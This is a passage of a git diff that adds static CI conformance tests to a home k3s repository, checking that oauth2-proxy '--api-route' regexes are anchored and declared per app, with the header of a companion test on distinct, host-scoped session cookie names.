+#   - That a 401 FIXES anything in a browser. No browser round-trip has been made, by anyone,
+#     for this flag. The 302/401 split, the dropped POST bodies and the orphaned SignalR poll
+#     are all read from access logs; the repair is reasoned from HTTP semantics.
+#   - That the regexes are RIGHT for these two apps beyond the measured paths. `^/api/` on
+#     radarr is justified by a measurement of radarr taken on its PRE-FIX pod by another
+#     engineer (decisions/2026-09-30-jackett-oauth2-proxy-session.md: 62 x /api/v3/command,
+#     46 x /api/v3/queue/details); the current pod has logged zero /api/ traffic.
+#   - Anything about sonarr, qbittorrent or pihole. Their logs were read (2026-10-01) and
+#     contain ZERO unauthenticated requests — no traffic, which is not the same as no need.
+#     Assertion (3) therefore proves the "declares none" PATH works; it does not claim those
+#     three apps are correctly configured.
+#   - That the LIVE pods carry what the tree says. git is not the cluster (CLAUDE.md §2b).
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: oauth2-proxy-api-routes-per-app
+  labels:
+    conformance.home.k3s/R-IDP-02: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-IDP-02"
+    conformance.home.k3s/layer: "L0"
+    # WHOLE-REPO SCOPE — the subject spans apps/wave-0, apps/wave-1, platform/crafty, every
+    # ServiceDefinition in catalog/, the renderer that generates five of the sidecars, and the
+    # ServiceDefinition schema. No single requirement path-maps to that set, and the renderer
+    # maps to no identity requirement at all, so a requirement-scoped selection would skip this
+    # check on precisely the change that can reintroduce the defect fleet-wide in one edit.
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      An unauthenticated XHR is answered 401, not 302, on exactly the paths each app was
+      MEASURED to serve as a machine API: every rendered --api-route is anchored at ^/ and
+      continues with literal path characters, every onboarded forward-auth service's rendered
+      routes equal its own auth.apiRoutes in order (so neither a hand-edited golden nor a
+      renderer constant can pass), an app declaring none renders none, the anchoring pattern is
+      the same in the schema and the renderer, and the shipped renderer is proven on synthetic
+      ServiceDefinitions in both directions — including refusing the five breadth shapes that
+      would answer a page load with 401.
+spec:
+  steps:
+    - name: assert-api-route-is-per-app-anchored-and-declared
+      description: >-
+        Inventory every oauth2-proxy sidecar's repeatable --api-route values, assert each is an
+        anchored path regex, cross-check each onboarded forward-auth service's rendered routes
+        against its own ServiceDefinition, require both the declares-routes and the
+        declares-none cases to be live in the tree, assert the renderer derives from
+        auth.apiRoutes and hardcodes no path regex, assert the schema and renderer share this
+        check's anchoring pattern, and prove the shipped renderer on synthetic
+        ServiceDefinitions in both directions.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/oauth2-proxy-api-routes-per-app/check.sh

@@ -0,0 +1,433 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 STATIC CHECK — `--api-route` is PER APP, ANCHORED, and DECLARED.
+# See chainsaw-test.yaml's header for WHY this exists and what it measured. In one paragraph:
+#
+# oauth2-proxy answers an unauthenticated request with a 302 to Keycloak. A browser XHR follows
+# that redirect invisibly, the live SSO session satisfies it silently, and the call resolves 200
+# carrying the app's HTML where its JavaScript expected JSON — and a POST following a 302 is
+# re-issued as a GET with its BODY DROPPED. `--api-route=<regex>` makes matching paths answer
+# 401 instead. The flag is right for jackett (`/api/`) and radarr (`/signalr/`, `/api/`) and
+# WRONG for pihole, which serves no `/api/` at all — so it cannot be a renderer constant, and
+# the point of this check is that it never becomes one again.
+#
+# The breadth direction is the dangerous one and it is NOT symmetric with the bug. A missing
+# `--api-route` is a silent 302; a TOO BROAD one answers a plain PAGE LOAD with 401, so a
+# logged-out operator gets a bare error page and is never offered a sign-in — the service looks
+# permanently broken. That is a worse outcome than the defect, which is why the anchoring rule
+# is asserted here as well as in the schema.
+#
+# Exit 0 = all assertions pass. Exit 1 = a failure. Exit 3 (honest SKIP, which the runner turns
+# into rc 3 = UNWIRED, never green, because this test declares the whole-repo scope) only if the
+# tree contains no forward-auth oauth2-proxy sidecar at all — genuinely nothing to audit.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+PYTHON="${PYTHON:-python3}"
+
+# Honest SKIP (never green for a scope-declaring test) if the forward-auth pattern has left the
+# repo. Anchored on `image:` for the same reason as the sibling cookie check: a bare
+# `oauth2-proxy/oauth2-proxy:` also matches platform/oauth2-proxy/forward-auth-cec.yaml's Envoy
+# cluster reference (`serviceName: oauth2-proxy/oauth2-proxy:80`), which runs no proxy.
+if ! grep -rlE 'image:[[:space:]]*[^[:space:]]*oauth2-proxy' \
+       "${ROOT}/apps" "${ROOT}/platform" >/dev/null 2>&1; then
+  echo "check SKIPPED: no oauth2-proxy container image found under apps/ or platform/ — the forward-auth sidecar pattern is gone and there is nothing to audit" >&2
+  exit 3
+fi
+
+cd "${ROOT}"
+"${PYTHON}" - "${ROOT}" <<'PY'
+"""Static audit: --api-route is per-app, anchored, and declared in the ServiceDefinition.
+
+PyYAML (the same dependency as catalog/render.py and the sibling l0-static checks) rather than
+line-based parsing: a container's args live in a nested structure, and a line-based reader of
+one is precisely the approximate parser that silently stops matching.
+"""
+from __future__ import annotations
+
+import json
+import re
+import subprocess
+import sys
+import tempfile
+from pathlib import Path
+
+try:
+    import yaml
+except ImportError:                                  # pragma: no cover
+    print("check FAIL: PyYAML is required (same dependency as catalog/render.py)",
+          file=sys.stderr)
+    raise SystemExit(1)
+
+ROOT = Path(sys.argv[1])
+sys.dont_write_bytecode = True          # keep __pycache__ out of the tracked tree
+
+FAILURES: list[str] = []
+CHECKS = 0
+
+
+def check(cond, msg):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(msg)
+
+
+# THE BREADTH RATCHET, stated once and asserted against three independent surfaces below (the
+# rendered tree, the authored catalog, the shipped renderer). Each entry must be anchored at
+# `^/` and continue with LITERAL path characters. This rejects:
+#   `^/`      and `^/.*`   — match every page load, so the UI answers 401 and never signs in
+#   `/api/`               — unanchored; oauth2-proxy would match it mid-path
+#   `.*`                  — everything
+#   `^/api/|^/`           — alternation smuggles breadth past a prefix-only reading
+# Alternation is REFUSED rather than supported because `--api-route` is repeatable: one entry
+# per route costs nothing and each entry stays readable. Kept byte-identical to
+# catalog/render.py's OAUTH2_API_ROUTE_PATTERN and to the schema's items.pattern; assertion (5)
+# below fails if they drift apart.
+ANCHORED = re.compile(r"^\^/[A-Za-z0-9._~/-]+(\.\*|\$)?$")
+SCHEMA_PATTERN = r"^\^/[A-Za-z0-9._~/-]+(\.\*|\$)?$"
+
+
+def read(p: Path) -> str:
+    try:
+        return p.read_text()
+    except (OSError, UnicodeDecodeError):
+        return ""
+
+
+def is_test_fixture(p: Path) -> bool:
+    """conformance/tests/**/{golden,fixtures}/** is assertion DATA, not deployed manifests."""
+    parts = p.parts
+    return "conformance" in parts and ("golden" in parts or "fixtures" in parts)
+
+
+def iter_containers(node):
+    """Yield every container mapping under any `containers`/`initContainers` list, at any depth.
+
+    Depth-agnostic on purpose: the same container shape appears under a Deployment, a DaemonSet,
+    a CronJob's jobTemplate or a bare Pod, and a reader that hardcoded one path would silently
+    stop seeing an instance the day one moved.
+    """
+    if isinstance(node, dict):
+        for key, val in node.items():
+            if key in ("containers", "initContainers") and isinstance(val, list):
+                for c in val:
+                    if isinstance(c, dict):
+                        yield c
+            else:
+                yield from iter_containers(val)
+    elif isinstance(node, list):
+        for item in node:
+            yield from iter_containers(item)
+
+
+def api_routes_of(args: list) -> list:
+    """Every `--api-route=<v>` / `--api-route <v>` value, in order. The flag is REPEATABLE, so
+    this must collect ALL of them — a single-value reader would audit the first and wave the
+    rest through, which is the shape of reader bug this file's header warns about."""
+    out = []
+    for i, a in enumerate(args):
+        if not isinstance(a, str):
+            continue
+        if a.startswith("--api-route="):
+            out.append(a.split("=", 1)[1])
+        elif a == "--api-route" and i + 1 < len(args) and isinstance(args[i + 1], str):
+            out.append(args[i + 1])
+    return out
+
+
+# ============================================================ (0) INVENTORY: THE RENDERED TREE
+# Every oauth2-proxy container this repo DEPLOYS, keyed by file + owner, with its api-routes.
+rendered: dict[str, list] = {}
+for p in sorted(ROOT.rglob("*.yaml")):
+    relparts = p.relative_to(ROOT).parent.parts
+    # NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES such
+    # as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent runs,
+    # so a bare rglob audits up to 18 duplicates of every file — which both invents FAILs and,
+    # worse, can satisfy a "something declares X" check from a copy rather than from real source.
+    if any(part.startswith(".") for part in relparts) or is_test_fixture(p) or ".sops." in p.name:
+        continue
+    txt = read(p)
+    if "oauth2-proxy" not in txt:
+        continue
+    rel = str(p.relative_to(ROOT))
+    try:
+        docs = [d for d in yaml.safe_load_all(txt) if isinstance(d, dict)]
+    except yaml.YAMLError as exc:
+        check(False, f"{rel} is not parseable YAML ({exc}) — any oauth2-proxy instance in it "
+                     f"went unaudited, so a too-broad --api-route could be hiding there")
+        continue
+    for d in docs:
+        for c in iter_containers(d):
+            image = str(c.get("image") or "")
+            name = str(c.get("name") or "")
+            if "oauth2-proxy" not in image and name != "oauth2-proxy":
+                continue
+            owner = (d.get("metadata") or {}).get("name") or "?"
+            args = list(c.get("args") or []) + list(c.get("command") or [])
+            rendered[f"{rel}:{owner}/{name or 'oauth2-proxy'}"] = api_routes_of(args)
+
+check(len(rendered) >= 5,
+      f"only {len(rendered)} oauth2-proxy container(s) parsed out of the tree. This repo "
+      f"deploys more than that (five rendered sidecars plus crafty's hand-authored one), so the "
+      f"inventory has stopped seeing instances and every assertion below would pass vacuously "
+      f"while an unanchored --api-route went unaudited")
+
+# ============================================================ (1) EVERY ROUTE IS ANCHORED
+for key, routes in sorted(rendered.items()):
+    for r in routes:
+        check(bool(ANCHORED.match(r)),
+              f"{key} declares --api-route={r!r}, which is not an anchored path regex.\n"
+              f"       WHY THIS IS WORSE THAN THE BUG IT FIXES: --api-route makes matching paths "
+              f"answer 401 instead of 302ing to Keycloak. A regex that also matches a path a "
+              f"BROWSER NAVIGATES to — `^/`, `^/.*`, `.*`, or an alternation that reaches the "
+              f"UI root — answers a plain PAGE LOAD with 401. A logged-out operator then sees a "
+              f"bare error page and is NEVER OFFERED A SIGN-IN: the service looks permanently "
+              f"broken rather than merely unauthenticated, and no reload can recover it.\n"
+              f"       FIX: anchor it at '^/' followed by literal path characters "
+              f"(e.g. '^/api/', '^/signalr/', '^/api/v3/.*'), one entry per route — the flag is "
+              f"repeatable, so alternation is never needed. For a service rendered from catalog/, "
+              f"do NOT hand-edit the golden: declare auth.apiRoutes and re-render "
+              f"(ci/render-golden.sh's header has the canonical command)")
+
+# ============================================================ (2) DERIVED FROM THE CATALOG
+# The five rendered sidecars are OUTPUTS. Auditing only them would let someone "fix" a golden by
+# hand (reverted by the next render) or make the renderer emit a CONSTANT and regenerate every
+# golden to match — which render-golden cannot see, because render and golden would agree.
+# So: every onboarded forward-auth service's rendered route list must EQUAL its own
+# ServiceDefinition's auth.apiRoutes, in order.
+catalog_dir = ROOT / "catalog"
+declared: dict[str, list] = {}
+forward_auth: list[str] = []
+for sd_path in sorted(catalog_dir.glob("*.yaml")):
+    try:
+        sd = yaml.safe_load(read(sd_path))
+    except yaml.YAMLError as exc:
+        check(False, f"catalog/{sd_path.name} is not parseable YAML ({exc})")
+        continue
+    if not isinstance(sd, dict) or not sd.get("name"):
+        continue
+    auth = sd.get("auth") or {}
+    routes = auth.get("apiRoutes") or []
+    declared[sd["name"]] = list(routes)
+    if auth.get("mode") == "forward-auth" and (sd.get("ingressRoutes") or []):
+        forward_auth.append(sd["name"])
+    for r in routes:
+        check(bool(ANCHORED.match(str(r))),
+              f"catalog/{sd_path.name}: auth.apiRoutes entry {r!r} is not anchored at '^/' "
+              f"followed by literal path characters. See assertion (1) for why breadth here is "
+              f"the dangerous direction. The schema rejects this too (items.pattern); this "
+              f"assertion exists because the schema stage can be SKIPPED and this one cannot")
+    if routes:
+        check(auth.get("mode") == "forward-auth",
+              f"catalog/{sd_path.name} declares auth.apiRoutes with auth.mode="
+              f"{auth.get('mode')!r}. --api-route renders onto the per-app oauth2-proxy sidecar, "
+              f"and no sidecar is rendered for oidc/native/none — so this is a SILENT NO-OP: the "
+              f"operator believes the app's XHRs now answer 401 and nothing changed")
+
+matched = 0
+for name in sorted(forward_auth):
+    golden = next((p for p in sorted(ROOT.glob(f"apps/wave-*/{name}.yaml"))), None)
+    if golden is None:
+        continue                      # catalog service not onboarded to apps/ yet — no golden
+    key = next((k for k in rendered if k.startswith(str(golden.relative_to(ROOT)) + ":")), None)
+    check(key is not None,
+          f"apps/{golden.name} is the golden for forward-auth service {name!r} but no "
+          f"oauth2-proxy container was parsed out of it. Its --api-route configuration is "
+          f"UNAUDITED")
+    if key is None:
+        continue
+    matched += 1
+    check(rendered[key] == declared.get(name, []),
+          f"{name}: the rendered sidecar declares --api-route {rendered[key]!r} but "
+          f"catalog/{name}.yaml declares auth.apiRoutes {declared.get(name, [])!r}.\n"
+          f"       These must be IDENTICAL and in order. A mismatch means one of two things, "
+          f"both bad: a golden was hand-edited (the next re-render silently reverts it), or the "
+          f"renderer is emitting --api-route from somewhere other than this service's own "
+          f"ServiceDefinition — i.e. a constant or a per-service table. A constant is the defect "
+          f"this field exists to prevent: it applies ONE app's path shape to all five, and "
+          f"pihole serves no /api/ at all, so it would answer pihole's page loads with 401. "
+          f"render-golden cannot catch that, because render and golden would agree with each "
+          f"other while both being wrong")
+
+check(matched >= 4,
+      f"only {matched} onboarded forward-auth service(s) were cross-checked against their "
+      f"ServiceDefinition. This repo onboards five, so the catalog<->golden pairing has stopped "
+      f"resolving and assertion (2) is passing vacuously")
+
+# ============================================================ (3) BOTH CASES EXIST
+# Once the tree is consistent, (2) is satisfied by any pairing — including one where NOTHING
+# declares a route (vacuous) or one where EVERYTHING does (so the "renders nothing" path is
+# never exercised). Both halves are asserted to be live, because the per-app field only earns
+# its complexity if both outcomes actually occur in this tree.
+with_routes = [n for n in forward_auth if declared.get(n)]
+without_routes = [n for n in forward_auth if not declared.get(n)]
+check(bool(with_routes),
+      "no onboarded forward-auth service declares auth.apiRoutes, so assertion (2) cannot "
+      "distinguish a working renderer from one that emits the flag nowhere. If the flag is "
+      "genuinely not needed anywhere, delete the field rather than leaving an unexercised seam")
+check(bool(without_routes),
+      "EVERY onboarded forward-auth service declares auth.apiRoutes, so nothing in this tree "
+      "exercises the 'declares none => renders no flag' path. That path is the whole reason the "
+      "field is per-app: pihole serves no /api/, and a renderer-wide default would answer its "
+      "page loads with 401")
+for name in sorted(without_routes):
+    golden = next((p for p in sorted(ROOT.glob(f"apps/wave-*/{name}.yaml"))), None)
+    if golden is None:
+        continue
+    key = next((k for k in rendered if k.startswith(str(golden.relative_to(ROOT)) + ":")), None)
+    if key is None:
+        continue
+    check(rendered[key] == [],
+          f"{name} declares NO auth.apiRoutes but its rendered sidecar carries "
+          f"--api-route {rendered[key]!r}. An app that declares nothing must render NOTHING")
+
+# ============================================================ (4) THE RENDERER DERIVES
+render_py = ROOT / "catalog" / "render.py"
+check(render_py.is_file(),
+      "catalog/render.py is missing — the generator of five of these sidecars cannot be audited")
+if render_py.is_file():
+    src = read(render_py)
+    m = re.search(r"def _oauth2_sidecar_container\(.*?\n(?=\n*def |\n*# =)", src, re.S)
+    fn = m.group(0) if m else ""
+    check(bool(fn),
+          "could not locate _oauth2_sidecar_container() in catalog/render.py. It was renamed or "
+          "removed, so assertion (4) cannot run and the generator is unaudited")
+    if fn:
+        check("--api-route=" in fn,
+              "catalog/render.py's _oauth2_sidecar_container() emits no --api-route at all, so "
+              "every forward-auth app's XHRs are answered with a 302 the browser follows "
+              "invisibly — measured as 33x302-vs-2x401 on jackett and 232x302 on radarr, with "
+              "POST bodies dropped. auth.apiRoutes would then be a field with no consumer")
+        check(not re.search(r'--api-route=\^/[A-Za-z0-9]', fn),
+              "catalog/render.py hardcodes a literal path regex into --api-route. Whatever path "
+              "that is, EVERY forward-auth app now renders it: one app's path shape applied to "
+              "five. pihole serves no /api/, so a constant answers its page loads with 401 and "
+              "the service looks permanently broken to a logged-out operator. Render the routes "
+              "declared in each service's own auth.apiRoutes instead")
+        check("apiRoutes" in fn,
+              "catalog/render.py's _oauth2_sidecar_container() does not read auth.apiRoutes, so "
+              "the per-app declaration has no effect on what is rendered")
+
+# ============================================================ (5) ONE PATTERN, THREE SURFACES
+# The ratchet is written in three places (this check, the renderer, the schema) because each
+# guards a surface the others cannot. If they drift apart, the loosest one wins silently.
+if render_py.is_file():
+    # The renderer writes the pattern as a raw string literal, so the source text contains it
+    # verbatim. A substring test is deliberate: it also catches a rename of the constant.
+    check(SCHEMA_PATTERN in read(render_py),
+          f"catalog/render.py no longer contains the anchoring pattern {SCHEMA_PATTERN!r} that "
+          f"this check and the schema enforce. Three surfaces guard --api-route breadth (the "
+          f"authoring surface via the schema, the render via the renderer, the tree via this "
+          f"check); if they drift apart the loosest wins and the ratchet is decorative")
+
+# The schema's pattern is read from the PARSED JSON, not from the file text: in the file its
+# backslashes are JSON-escaped, so a substring test against the raw bytes would compare the
+# wrong string and pass or fail for the wrong reason.
+schema_file = ROOT / "schemas" / "servicedefinition.schema.json"
+schema_pat = None
+if schema_file.is_file():
+    try:
+        schema_pat = (((((json.loads(read(schema_file)).get("properties") or {})
+                         .get("auth") or {}).get("properties") or {})
+                       .get("apiRoutes") or {}).get("items") or {}).get("pattern")
+    except (ValueError, AttributeError) as exc:
+        check(False, f"schemas/servicedefinition.schema.json could not be read as JSON ({exc}) — "
+                     f"the schema stage that rejects a too-broad --api-route cannot be audited")
+check(schema_pat == SCHEMA_PATTERN,
+      f"schemas/servicedefinition.schema.json constrains auth.apiRoutes items with "
+      f"{schema_pat!r}, not {SCHEMA_PATTERN!r}. The schema is the only surface that rejects a "
+      f"too-broad regex WHERE A HUMAN TYPES IT (ci/l0.sh validates catalog/*.yaml on every gate "
+      f"run); if it is absent or looser than the renderer's, the operator finds out from a 401 "
+      f"on a page load")
+
+# ============================================================ (6) PROVE THE SHIPPED RENDERER
+# Once the tree is compliant, (1)-(3) have nothing left to catch and their passing is evidence
+# of nothing. This runs the SHIPPED renderer as a SUBPROCESS on synthetic ServiceDefinitions and
+# asserts the behaviour directly, in BOTH directions, so the guard stays falsifiable.
+def _sd(name: str, port: int, routes) -> str:
+    auth = {"mode": "forward-auth", "groups": ["platform-admins"]}
+    if routes is not None:
+        auth["apiRoutes"] = routes
+    return yaml.safe_dump({
+        "name": name,
+        "kind": "container",
+        "source": {"image": "example/app:1"},
+        "exposure": "internal",
+        "ingressRoutes": [{"host": f"{name}.home.keithjackson.dev", "port": port}],
+        "auth": auth,
+    }, sort_keys=False)
+
+
+def _render(name: str, port: int, routes):
+    with tempfile.TemporaryDirectory() as td:
+        f = Path(td) / f"{name}.yaml"
+        f.write_text(_sd(name, port, routes))
+        return subprocess.run([sys.executable, str(render_py), str(f)],
+                              capture_output=True, text=True)
+
+
+def _sidecar_args(rendered_yaml: str) -> list:
+    for doc in yaml.safe_load_all(rendered_yaml):
+        if not isinstance(doc, dict) or doc.get("kind") != "Deployment":
+            continue
+        for c in iter_containers(doc):
+            if c.get("name") == "oauth2-proxy":
+                return list(c.get("args") or [])
+    return []
+
+
+if render_py.is_file():
+    # (6a) DECLARED ROUTES RENDER, IN ORDER, AND NOTHING ELSE DOES.
+    proc = _render("apirtdecl", 8121, ["^/api/", "^/signalr/"])
+    check(proc.returncode == 0,
+          f"the shipped catalog/render.py failed on a synthetic forward-auth fixture declaring "
+          f"two apiRoutes: rc={proc.returncode} {proc.stderr.strip()[:300]}")
+    if proc.returncode == 0:
+        got = api_routes_of(_sidecar_args(proc.stdout))
+        check(got == ["^/api/", "^/signalr/"],
+              f"the shipped renderer turned auth.apiRoutes ['^/api/', '^/signalr/'] into "
+              f"--api-route {got!r}. It must emit one repeatable --api-route per entry, in "
+              f"declared order. Note the flag is SINGULAR: --api-routes does not exist in "
+              f"oauth2-proxy v7.8.1 and the proxy REFUSES TO START with it, so a plural would "
+              f"crashloop every sidecar it rendered")
+
+    # (6b) AN APP THAT DECLARES NOTHING RENDERS NOTHING. The pihole case, proven on the
+    #      generator rather than inferred from one committed golden.
+    for label, routes in (("absent", None), ("empty", [])):
+        proc = _render(f"apirtnone{label}", 8122, routes)
+        check(proc.returncode == 0,
+              f"the shipped renderer failed on a synthetic forward-auth fixture with apiRoutes "
+              f"{label}: rc={proc.returncode} {proc.stderr.strip()[:300]}")
+        if proc.returncode == 0:
+            got = api_routes_of(_sidecar_args(proc.stdout))
+            check(got == [],
+                  f"the shipped renderer emitted --api-route {got!r} for a synthetic service "
+                  f"whose auth.apiRoutes is {label}. A newly-onboarded forward-auth app must "
+                  f"render NO --api-route: pihole serves no /api/, so a default would answer "
+                  f"its page loads with 401 and the service would look permanently broken to a "
+                  f"logged-out operator — a worse failure than the 302 bug the flag fixes")
+
+    # (6c) THE RENDERER REFUSES BREADTH. Asserted on the generator because render-golden runs
+    #      on every gate invocation while the schema stage can be skipped.
+    for bad in ("^/", "^/.*", ".*", "/api/", "^/api/|^/"):
+        proc = _render("apirtbad", 8123, [bad])
+        check(proc.returncode != 0,
+              f"the shipped renderer ACCEPTED auth.apiRoutes {bad!r} and rendered a sidecar. "
+              f"That regex matches paths a browser NAVIGATES to, so a plain page load answers "
+              f"401 and the operator is never offered a sign-in. The renderer must refuse it, "
+              f"so a breadth mistake fails render-golden even on a run where the schema stage "
+              f"did not execute")
+
+# ============================================================ VERDICT
+inv = " | ".join(f"{k} -> {v or '(none)'}" for k, v in sorted(rendered.items()))
+print(f"oauth2-proxy sidecars audited ({len(rendered)}): {inv}")
+if FAILURES:
+    print(f"\nCHECK FAIL (oauth2-proxy-api-routes-per-app): {len(FAILURES)} failed, "
+          f"{CHECKS - len(FAILURES)} passed", file=sys.stderr)
+    for f in FAILURES:
+        print(f"  FAIL {f}", file=sys.stderr)
+    raise SystemExit(1)
+print(f"check OK: oauth2-proxy-api-routes-per-app — {CHECKS} assertions (R-IDP-02)")
+PY

conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/chainsaw-test.yaml

@@ -0,0 +1,152 @@
+# =============================================================================
+# L0 STATIC — no two oauth2-proxy instances can share a browser cookie
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE DEFECT THIS CLOSES. Every oauth2-proxy on this platform is an INDEPENDENT instance with
+# its OWN `cookie-secret`: five per-app reverse-proxy sidecars (jackett, pihole, qbittorrent,
+# radarr, sonarr), crafty's, and the SHARED forward-auth proxy. Measured on prod 2026-09-30:
+# seven `*-oauth2-proxy` Secrets, SEVEN DISTINCT cookie-secret values — so no instance can
+# decrypt any other's cookie.
+#
+# They were all emitting oauth2-proxy's DEFAULT cookie names (`_oauth2_proxy` and
+# `_oauth2_proxy_csrf`), scoped to `.${BASE_DOMAIN}`. A cookie is keyed by (name, domain, path),
+# so the browser kept ONE pair for ALL of them. Whichever proxy authenticated last OVERWROTE
+# every other's session; the loser logged `No valid authentication in request`, bounced to
+# Keycloak, and — the SSO session still being live — was redirected straight back and overwrote
+# the cookie again. Six live instances, one cookie, mutual eviction.
+#
+# WHY IT IS THE WORST KIND OF BUG. The symptom is "I signed into Keycloak but I'm still not
+# signed in", which points the investigator at Keycloak, where nothing is wrong. It is
+# INTERMITTENT — it only appears once a browser has visited a SECOND gated app, so the obvious
+# single-app reproduction succeeds — and it is SILENT: every Deployment stays Ready, every
+# Kustomization stays Ready, the proxy's own log line names an authentication failure rather
+# than a collision. It went unnoticed across five services for the whole life of the pattern,
+# and was found only as a side effect of investigating something else (2026-09-29, crafty).
+#
+# WHY A COMMIT IS NOT ENOUGH, AND THIS IS A GATE STAGE. The collision is a property of the
+# PATTERN, not of any one app: the next forward-auth service onboarded inherits the defect by
+# doing nothing at all, because a missing flag IS the bug. Nothing about its absence is loud.
+# This is the same shape as the twelve inert ServiceMonitors in this tree — one omission,
+# copied, invisible for weeks — and the same remedy: make the omission fail the merge.
+#
+# GIVEN every oauth2-proxy instance this repo authors — a container in any manifest (the
+#       rendered sidecars in apps/, crafty's hand-authored one in platform/) and the shared
+#       proxy's HelmRelease values,
+# WHEN  each instance's EFFECTIVE cookie name is resolved (its declared `--cookie-name` /
+#       `OAUTH2_PROXY_COOKIE_NAME`, or oauth2-proxy's built-in default `_oauth2_proxy` when it
+#       declares none — an omission is a NAME, not an absence, and that is the whole bug),
+# THEN  (1) no two instances share an effective cookie name;
+#       (2) no instance's effective name is another's name + `_csrf` — oauth2-proxy derives the
+#           CSRF cookie that way, so `_oauth2_proxy` and `_oauth2_proxy_csrf` as two SESSION
+#           names would collide on the second cookie while looking distinct on the first;
+#       (3) the DEFAULT name has exactly ONE owner and it is the instance declared in
+#           SHARED_DEFAULT_COOKIE_OWNER. This is the deliberate ASYMMETRY. The shared
+#           forward-auth proxy MUST keep `_oauth2_proxy`: it is the single session every
+#           OTHER forward-auth-gated surface on the platform rides on, so renaming it signs
+#           every one of them out at once. The rule is therefore NOT "every instance must
+#           declare a name" — it is "the default is a NAME LIKE ANY OTHER, held by exactly one
+#           REGISTERED owner". That formulation needs no exemption from (1), and it closes the
+#           hole an exemption would leave: if the shared proxy is ever removed, an app silently
+#           inheriting the default would still FAIL here instead of quietly becoming its heir;
+#       (4) every instance that is NOT that owner is HOST-SCOPED: its `--cookie-domain` equals
+#           the host of its own `--redirect-url`. See the argument below;
+#       (5) catalog/render.py DERIVES both flags from the ServiceDefinition (the service name
+#           and the route host) and does not carry a per-service table. A list is how twelve
+#           ServiceMonitors acquired one identical wrong port name in a single edit, and a list
+#           leaves the NEXT app defaulting into the collision;
+#       (6) the SHIPPED renderer is proven END-TO-END on synthetic ServiceDefinitions, run as a
+#           subprocess: two forward-auth fixtures must yield two different, non-default cookie
+#           names, each scoped to its own host. Without this, once the tree is compliant (1)-(4)
+#           are satisfied by a tree with nothing left to catch, and a guard whose only evidence
+#           is "nothing failed" cannot be told apart from one that stopped working;
+#   AND (7) the check is LOAD-BEARING: this Test DECLARES `conformance.home.k3s/scope:
+#           whole-repo`, so ci/l0.sh Stage 3b's `--include-scope whole-repo` unions it into
+#           EVERY gate run, and ci/gate.sh blocks the merge when the l0 stage fails. It
+#           deliberately adds NO stage to ci/l0.sh — tests/l0-static/whole-repo-invariants-wired
+#           fails the gate if anyone adds one.
+#
+# WHY SCOPE, NOT REQUIREMENTS: ci/touched-requirements.sh maps `apps/*` to R-IDP-02/R-IDP-06
+# today, but the instances live in THREE unrelated subtrees (apps/, platform/crafty/,
+# platform/oauth2-proxy/) and the file most likely to reintroduce the defect is
+# catalog/render.py, which maps to R-GITOPS-02 and to no identity requirement at all. A
+# requirement-scoped selection would filter this check out of exactly the change that breaks it.
+#
+# ON ASSERTION (4), HOST-SCOPED COOKIE-DOMAIN — the argument, and the decision.
+#   AGAINST asserting it (overreach): distinct NAMES already close the eviction bug completely.
+#   Two cookies with different names do not overwrite each other however wide their domains are,
+#   so (4) fixes nothing that (1) has not already fixed. `--cookie-domain` is also a legitimate
+#   knob — a future proxy fronting two hostnames of one app would need a wider value — and a
+#   check that fails correct configurations is a check someone eventually disables.
+#   FOR asserting it (and this wins): a zone-wide cookie is TRANSMITTED BY THE BROWSER TO EVERY
+#   HOST IN THE ZONE. qBittorrent's session token is therefore sent to pihole, to radarr, to
+#   sonarr, and to every other name under `.${BASE_DOMAIN}` — including hosts behind no proxy at
+#   all. That is a session-credential disclosure across trust boundaries that no one needs and
+#   nobody asked for; the sidecar's session is only ever meaningful to the one app it fronts.
+#   And it is what makes a FUTURE name collision catastrophic rather than contained: with
+#   host-scoped cookies, two instances that accidentally share a name cannot even see each
+#   other's cookie, so the failure this whole test exists to prevent degrades from platform-wide
+#   to nothing. Defence in depth on the exact axis that already failed once.
+#   DECISION: assert it, for every instance except the registered shared proxy — whose whole
+#   job IS cross-host forward-auth, and which is exempted by name and with a reason, not by
+#   loosening the rule. `--whitelist-domain` is deliberately NOT touched: it governs permitted
+#   post-login REDIRECT targets, not cookie scope, and narrowing it breaks the sign-in bounce.
+#
+# STATUS: EXECUTABLE. `check.sh` is an offline assertion script (PyYAML, as catalog/render.py
+# and the sibling l0-static checks use); conformance/run.sh --layer l0 and ci/l0.sh run it
+# directly, and this Chainsaw Test wraps the SAME script.
+#
+# NOT proven (honest gaps; this is STATIC, with no cluster and no browser):
+#   - That anyone can actually sign in. No browser round-trip is performed, and none can be
+#     from L0. The 2026-09-29 crafty entry recorded the same gap and it is still open: the
+#     symptom has never been REPRODUCED in a browser, so this is a latent-bug fix reasoned from
+#     measured configuration, not a fix watched to work.
+#   - That the LIVE pods carry what the tree says. git is not the cluster (CLAUDE.md §2b). The
+#     live flags were measured separately, once, by hand; nothing here re-measures them, and a
+#     hand-applied drift would not be visible to this check.
+#   - That the cookie-secrets really differ. That is a Secret comparison and belongs in-cluster;
+#     it was measured out of band (seven distinct values, compared without printing any of
+#     them). If they were ever made IDENTICAL the collision would become harmless — but sharing
+#     one session-encryption key across trust zones is a worse idea than the bug it would mask,
+#     so this check does not offer it as an alternative and does not look for it.
+#   - Anything about the CONTENT of a session, group authorization, or the CSRF cookie's own
+#     behaviour. Names and domains only.
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: oauth2-proxy-cookie-names-distinct
+  labels:
+    conformance.home.k3s/R-IDP-02: "true"
